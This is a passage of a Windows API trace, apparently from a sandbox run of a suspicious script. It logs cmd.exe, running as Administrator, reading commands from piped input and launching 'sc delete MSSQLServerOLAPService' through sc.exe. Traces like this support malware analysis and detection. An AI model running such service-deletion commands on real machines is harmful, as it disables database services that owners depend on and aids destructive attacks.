lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="eer100\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="rr100\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="v100\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="i00\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.965] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.965] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="c0\n\n") returned 1 [0070.965] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.966] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.966] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.966] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="e\n\n") returned 1 [0070.966] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.966] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.966] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.966] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0070.966] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.966] GetFileType (hFile=0xb8) returned 0x3 [0070.966] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.966] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.966] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.966] GetFileType (hFile=0x120) returned 0x3 [0070.966] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerOLAPService\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerOLAPService\n", lpUsedDefaultChar=0x0) returned 34 [0070.966] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x21, lpOverlapped=0x0) returned 1 [0070.966] GetProcessHeap () returned 0x4a0000 [0070.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.966] GetProcessHeap () returned 0x4a0000 [0070.966] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.966] GetProcessHeap () returned 0x4a0000 [0070.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.966] GetProcessHeap () returned 0x4a0000 [0070.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.966] GetProcessHeap () returned 0x4a0000 [0070.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4e) returned 0x4bba10 [0070.967] GetConsoleOutputCP () returned 0x1b5 [0070.967] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.967] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.967] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.967] GetProcessHeap () returned 0x4a0000 [0070.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.967] GetProcessHeap () returned 0x4a0000 [0070.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x54) returned 0x4b9b30 [0070.967] GetProcessHeap () returned 0x4a0000 [0070.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0070.967] SetErrorMode (uMode=0x0) returned 0x1 [0070.967] SetErrorMode (uMode=0x1) returned 0x0 [0070.967] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.967] SetErrorMode (uMode=0x1) returned 0x1 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0070.968] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.968] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.968] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0070.968] GetProcessHeap () returned 0x4a0000 [0070.968] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0070.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.969] GetLastError () returned 0x2 [0070.969] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.969] GetLastError () returned 0x2 [0070.969] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.969] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0070.969] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0070.969] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.969] GetLastError () returned 0x2 [0070.969] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0070.969] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0070.969] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.969] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.969] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.970] GetProcessHeap () returned 0x4a0000 [0070.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.970] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.970] GetProcessHeap () returned 0x4a0000 [0070.970] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xba) returned 0x4b9180 [0070.970] GetProcessHeap () returned 0x4a0000 [0070.970] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xba [0070.970] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerOLAPService") returned 1 [0070.970] GetProcessHeap () returned 0x4a0000 [0070.970] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.970] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.970] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.970] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.970] GetProcessHeap () returned 0x4a0000 [0070.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.971] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.972] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.972] GetProcessHeap () returned 0x4a0000 [0070.972] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.972] GetProcessHeap () returned 0x4a0000 [0070.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.972] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerOLAPService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xaec, dwThreadId=0xac8)) returned 1 [0070.975] CloseHandle (hObject=0x54) returned 1 [0070.975] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.975] GetProcessHeap () returned 0x4a0000 [0070.975] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.975] GetEnvironmentStringsW () returned 0x4c1b10* [0070.975] GetProcessHeap () returned 0x4a0000 [0070.975] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0070.975] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.975] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.976] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.976] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0071.053] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.053] CloseHandle (hObject=0x50) returned 1 [0071.053] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.053] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.053] GetProcessHeap () returned 0x4a0000 [0071.053] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.053] GetEnvironmentStringsW () returned 0x4c1b10* [0071.053] GetProcessHeap () returned 0x4a0000 [0071.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.053] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.053] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.053] GetProcessHeap () returned 0x4a0000 [0071.053] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.053] GetEnvironmentStringsW () returned 0x4c1b10* [0071.054] GetProcessHeap () returned 0x4a0000 [0071.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.054] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.054] GetProcessHeap () returned 0x4a0000 [0071.054] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.054] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.054] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.054] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.054] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.054] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.054] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.055] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.055] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.055] GetConsoleOutputCP () returned 0x1b5 [0071.055] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.055] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.055] GetProcessHeap () returned 0x4a0000 [0071.055] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0071.055] GetProcessHeap () returned 0x4a0000 [0071.055] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.055] GetProcessHeap () returned 0x4a0000 [0071.055] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.055] GetProcessHeap () returned 0x4a0000 [0071.055] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0071.055] GetProcessHeap () returned 0x4a0000 [0071.056] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.056] GetProcessHeap () returned 0x4a0000 [0071.056] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.056] GetProcessHeap () returned 0x4a0000 [0071.056] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.056] GetProcessHeap () returned 0x4a0000 [0071.056] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.056] GetProcessHeap () returned 0x4a0000 [0071.056] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.056] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.056] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.056] GetFileType (hFile=0x120) returned 0x3 [0071.056] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.056] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.056] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.056] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.056] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.056] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.056] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.056] GetFileType (hFile=0x120) returned 0x3 [0071.057] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.057] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.057] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.057] GetFileType (hFile=0xb8) returned 0x3 [0071.057] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.057] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.057] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.057] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerOLAPService\n\n") returned 1 [0071.057] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.057] SetFilePointer (in: 